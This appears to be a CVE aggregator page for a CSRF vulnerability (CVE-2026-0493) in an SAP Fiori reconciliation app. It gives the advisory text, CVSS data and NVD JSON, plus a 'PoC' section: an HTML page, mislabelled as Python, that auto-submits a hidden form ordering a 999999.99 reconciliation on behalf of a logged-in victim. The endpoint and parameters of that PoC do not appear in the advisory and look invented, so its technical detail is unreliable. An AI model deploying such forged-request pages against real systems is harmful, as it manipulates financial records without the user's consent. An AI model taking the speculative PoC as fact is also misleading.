CVE-2026-0493

Description

Due to a Cross-Site Request Forgery (CSRF) vulnerability in SAP Fiori App Intercompany Balance Reconciliation an attacker could execute state?changing actions using an inappropriate request type, this deviation from expected request semantics may allow an attacker to trigger unintended actions on behalf of an authenticated user causing low impact on integrity of the system. This has no impact on confidentiality and availability.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SAP Fiori App Intercompany Balance Reconciliation (FCI_RECONCILE) - 具体版本需参考SAP官方安全公告

SAP Fiori Front-End Server - 特定版本受影响

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

&lt;!-- CSRF PoC for CVE-2026-0493 --&gt;
&lt;html&gt;
  &lt;body&gt;
    &lt;h1&gt;CSRF Attack - SAP Fiori Intercompany Balance Reconciliation&lt;/h1&gt;
    &lt;p&gt;This PoC demonstrates CSRF vulnerability in SAP Fiori App.&lt;/p&gt;
    &lt;form id="csrfForm" action="https://[SAP_HOST]/sap/bc/ui5_ui5/sap/FCI_RECONCILE/executeAction" method="POST" enctype="application/x-www-form-urlencoded"&gt;
      &lt;input type="hidden" name="action" value="executeReconciliation" /&gt;
      &lt;input type="hidden" name="companyCodeFrom" value="1000" /&gt;
      &lt;input type="hidden" name="companyCodeTo" value="2000" /&gt;
      &lt;input type="hidden" name="fiscalYear" value="2026" /&gt;
      &lt;input type="hidden" name="period" value="01" /&gt;
      &lt;input type="hidden" name="amount" value="999999.99" /&gt;
      &lt;input type="hidden" name="currency" value="USD" /&gt;
      &lt;input type="hidden" name="csrf_token" value="" /&gt;
    &lt;/form&gt;
    &lt;script&gt;
      document.getElementById('csrfForm').submit();
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-0493
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-0493
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-0493/
[4] VulDB https://vuldb.com/cve/CVE-2026-0493
[5] https://me.sap.com/notes/3655229
[6] https://url.sap/sapsecuritypatchday

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-0493", "sourceIdentifier": "[email protected]", "published": "2026-01-13T02:15:51.420", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to a Cross-Site Request Forgery (CSRF) vulnerability in SAP Fiori App Intercompany Balance Reconciliation an attacker could execute state?changing actions using an inappropriate request type, this deviation from expected request semantics may allow an attacker to trigger unintended actions on behalf of an authenticated user causing low impact on integrity of the system. This has no impact on confidentiality and availability."}, {"lang": "es", "value": "Debido a una vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en la aplicación SAP Fiori Intercompany Balance Reconciliation, un atacante podría ejecutar acciones que cambian el estado utilizando un tipo de petición inapropiado, esta desviación de la semántica de petición esperada podría permitir a un atacante desencadenar acciones no intencionadas en nombre de un usuario autenticado causando bajo impacto en la integridad del sistema. Esto no tiene impacto en la confidencialidad y disponibilidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://me.sap.com/notes/3655229", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}